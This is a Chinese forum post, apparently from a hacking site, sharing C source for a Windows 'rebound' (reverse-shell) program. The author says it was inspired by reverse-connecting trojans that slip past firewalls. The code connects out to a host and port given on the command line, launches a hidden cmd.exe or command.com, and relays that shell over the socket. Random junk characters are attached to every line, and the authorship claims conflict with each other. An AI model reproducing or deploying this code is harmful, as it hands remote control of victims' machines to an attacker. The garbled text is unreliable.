这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *h:D|4oJ(
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/* ============================== {hM"TO7\
Rebound port in Windows NT ;*nh=w
By wind,2006/7 8-A:k E
===============================*/ aDN.gMS
#include 1z3]PA!R
#include \FVNXUMU
B#QL M^
#pragma comment(lib,"wsock32.lib") u |'8a1
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void OutputShell(); ma1(EJ/
SOCKET sClient; #s*k|
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }iMXXXBOT
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void main(int argc,char **argv) xUIvLH=
{ gt~9"I
WSADATA stWsaData; e~3]/BL
int nRet; @`5QG2
SOCKADDR_IN stSaiClient,stSaiServer; |^?`Q.|c$
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if(argc != 3) Qg[heND
{ b$dBV}0 L
printf("Useage:\n\rRebound DestIP DestPort\n"); 8>ESD}(
return; >B`Cch/'U
} t?KUK>>w
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WSAStartup(MAKEWORD(2,2),&stWsaData); -Sx0qi'%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o
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stSaiClient.sin_family = AF_INET; z/)$D
stSaiClient.sin_port = htons(0); tc"T}huypU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )ni"qv~J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DQ%`v=
{ c!.=%QY
printf("Bind Socket Failed!\n"); K4_~ruhr
return; N`f!D>b:dn
} c$.UE
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stSaiServer.sin_family = AF_INET; Sw yaYK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EK^JLvyT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s;anP0-O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =sxkr ih
{ J0&zb'1
printf("Connect Error!"); /g13X,.H
return; n'q
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} $I\))*a
OutputShell(); d:A\<F
} ^g}L`9fL
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void OutputShell() jMTRcj];(
{ W&HF?w}s
char szBuff[1024]; 8b-7]%
SECURITY_ATTRIBUTES stSecurityAttributes; T:be 9 5!,
OSVERSIONINFO stOsversionInfo; x6"/z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1aBD^^Y
STARTUPINFO stStartupInfo; GVeL~Q
char *szShell; @mvIt
PROCESS_INFORMATION stProcessInformation; zB;'_[8M
unsigned long lBytesRead; ]^Sd9ba
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Ulxp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @m5O{[euj<
stSecurityAttributes.lpSecurityDescriptor = 0; (}9cD^F0n
stSecurityAttributes.bInheritHandle = TRUE; $$k7_rs
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s[Y)d>~\$=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mYntU^4f
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -b].SG5S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \El|U#$u'
stStartupInfo.wShowWindow = SW_HIDE; YI L'YNH
stStartupInfo.hStdInput = hReadPipe; <sm#D"GpP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $5ZR[\$
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GetVersionEx(&stOsversionInfo); <l*agH-.3
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switch(stOsversionInfo.dwPlatformId) s;vWR^Ll
{ 7bctx_W&6
case 1: x*NqA(r
szShell = "command.com"; d-9uv|SJ
break; }9{dR4hD
default: hfJrQhmE
szShell = "cmd.exe"; b\kN_
break; `Af{H/qiI
} D."cQ<sxpN
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9yh9HE
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send(sClient,szMsg,77,0); (J6"
;
while(1) }rO?5
{ yTzY?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q>Q:X3
if(lBytesRead) k\sc }z8X
{ $KoPGgC[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lc\>DH\n6
send(sClient,szBuff,lBytesRead,0); |^YzFrc
} C!oS=qK?]
else .}IK}A/-
{ >+yqjXRzm
lBytesRead=recv(sClient,szBuff,1024,0); F% F
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if(lBytesRead<=0) break; Fg_?!zR>6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K<$wz/\
} aO~si=
} L~@ma(TV{K
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return; Xjs21-t%
}